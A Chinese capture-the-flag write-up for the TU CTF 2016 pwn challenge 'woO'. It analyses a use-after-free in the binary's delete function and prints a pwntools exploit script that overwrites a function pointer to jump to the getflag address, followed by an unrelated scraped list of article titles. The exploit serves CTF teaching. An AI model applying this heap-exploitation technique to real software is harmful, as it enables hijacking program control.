小动物很可爱的说?

放在ida中分析,发现已经有了获取flag的函数,不需要自己找system了,接下来就是如何控制程序的执行流程。

首先对程序功能作基本的分析:

新建动物时malloc一个结构体存放动物的信息,如果是熊,结构体的0x0-0x8存放0xdeadbeef,0x8-0x14存放动物的名字,0x14-0x20存放动物的type;

如果是其他动物,从0开始存放动物的名字。维护了一个全局指针pointers,作为一个目录表记录所有的结构体地址。

使用uaf的姿势,关键在于delete功能:

void deleteAnimal()
{int v0; // [sp+Ch] [bp-4h]@1puts("Choose your friends wisely..");puts("Which element do you want to delete?");fflush(stdout);__isoc99_scanf("%d", &v0);getchar();if ( v0 > 0 && v0 <= 4 )free(*(&pointers + v0));
}

首先第一个结构体无法被delete,所以大致流程为:makebear--->makebear---->makebear--->delete(1) 下次malloc时就会优先分配到第二个结构体的位置,此时maketiger(除熊外随便动物,不能是熊,否则会更新bearoffset),输入动物的名字时就会从第二个结构体的起始处开始存放,从而覆盖掉第三个结构体起始处的0xdeadbeef:

此时调用delete就会执行&pointers+3  (0x155e470)指向的指令,从而实现程序流程控制

作者已经给出了getflag的函数不需要自己再构造system来getshell,getflag的函数地址位0x4008dd

参考大佬的exp:

#!/usr/bin/python2
# coding:utf-8
from pwn import *def make_bear(s, name='hello'):log.info('making a bear with name ' + name)s.recv()s.sendline('3')s.recv()s.sendline('3')s.recv()s.sendline(name)def make_tiger(s, name='hello'):log.info('making a tiger with name ' + name)s.recv()s.sendline('2')s.recv()s.sendline('3')s.recv()s.sendline(name)def delete_animal(s, num):log.info('delete animal ' + num)s.recv()s.sendline('4')s.recv()s.sendline(num)def send_pwn(s):log.info('sending to pwn')s.recv()s.sendline('4919')def pwn():s = process("./ani")make_bear(s)make_bear(s)make_bear(s)delete_animal(s, '1')make_tiger(s, 'a' * 32 + '\xdd\x08\x40\x00')gdb.attach(s,'b pwnMe')send_pwn(s)log.info("flag is :" + s.recv())if __name__ == "__main__":pwn()

参考:http://blog.csdn.net/qq_29343201/article/details/53503052

TU-ctf-2016 pwn woO 分析记录相关推荐

  1. CSAW CTF 2016 PWN quals-warmup

    CSAW CTF 2016 PWN quals-warmup 原文链接 先对文件有个大致的了解,是64位ELF文件 ☁ csaw ctf 2016 quals-warmup ls exp.py fla ...

  2. [SECCON CTF 2016 Quals] Chat 分析与思考

    CTFSHOW吃瓜杯,PWN方向第三题竟是SECCON原题,于是当时没有仔细研究,直接套用了其他大佬的EXP(第二第三第四题都是各大比赛的原题,网上可以直接找到写好的EXP......) 既然现在比赛 ...

  3. CTF中pwn的入门指南

    CTF中pwn的入门指南 pwn简介: CTF中的pwn指的是通过通过程序本身的漏洞,编写利用脚本破解程序拿到主机的权限,这就需要对程序进行分析,了解操作系统的特性和相关漏洞,是是一个难度比较大的分支 ...

  4. [BUUCTF-pwn]——[第六章 CTF之PWN章]stack

    [BUUCTF-pwn]--[第六章 CTF之PWN章]stack 题目地址: https://buuoj.cn/challenges#[%E7%AC%AC%E5%85%AD%E7%AB%A0%20C ...

  5. 大众点评app分析记录

    本文是大众点评APP的分析记录. 声明:文章内容仅供参考学习,如有侵权请联系作者进行删除. 案例环境:夜神安卓5,APP版本10.45.7. 工具:Frida.Charles. 点评看不到http/h ...

  6. CTF比赛PWN题sgtlibc通用快速解题框架

    CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...

  7. buuctf-N1Book[第六章 CTF之PWN章]

    第六章 CTF之PWN章 1.stack 64位,开启了NX保护 shift + F12查看里面的字符串 发现自带system和bin/sh的地址 bin_sh = 0x400537 gets函数对输 ...

  8. 技术贴_关于某信辅助分析记录和若干检测方法

    迪恩爱抚超时空最近几天出现了一款稳如狗的信外挂 某信蹦跶那么久- 从朋友借来某信 把分析记录写了下来 传说中稳如狗的F1秒杀到底是神魔恋? 众所周知某信用的是DLL劫持技术,所以无视TP驱动(也就是图 ...

  9. GandCrabV2.0病毒分析记录

    分析环境 吾爱破解虚拟机(XP系统) IDA 6.8 火绒剑 样本来源 https://www.52pojie.cn/thread-712552-1-1.html 病毒文件信息 文件: C:\Docu ...

最新文章

  1. 大数据能力提升项目| 学生成果展系列之一
  2. GridView 实现LinkButton下载文件/附件
  3. webpack之externals操作三部曲--正确的姿势
  4. 30分钟通过Kong实现.NET网关
  5. 基于区块链技术的数据资产管理机制研究
  6. Nginx基本数据结构之ngx_chain_t
  7. 蓝桥杯 ADV-73 算法提高 数组输出
  8. WebDriver API
  9. PyQt5图形界面GUI开发过程记录
  10. reviewboard 安装
  11. mvc:annotation-driven
  12. 收藏——硬币(五大天王和四小龙)
  13. 【Unity】 HTFramework框架(十)Resource资源管理器
  14. 我的世界饮水系统服务器,MC水瓶 - 找服玩|Minecraft服务器列表
  15. 程序员快速记忆英文单词的专属诀窍
  16. python热搜排行功能_用Python做一个微博热搜榜的语音播报
  17. [NN]前向神经网络的tf.keras详细实现教学
  18. 数据透视表的切片器实现数据动态交互
  19. C语言一秒钟看懂for循环和while循环的用法?
  20. 中职生职业生涯规划书2000字学计算机,计算机专业中职生职业生涯规划书

热门文章

  1. centos7建站操作步骤
  2. 用java做小学数学系统_自动生成中小学数学题目的控制台小程序
  3. 2022-08-09 mysql/stonedb-慢SQL-Q16分析
  4. 6.1-6.30推荐文章汇总
  5. 今日金融词汇---基本面分析
  6. 朱有鹏:对嵌入式工程师的一些小建议
  7. 马彩未解禁:中国互联网损失2000亿
  8. Daimayuan Online Judge 快快变大
  9. 优粉吧-微信大号推广微信公众平台大号直发转发自媒体推广
  10. SEO人员,如何拨乱反正?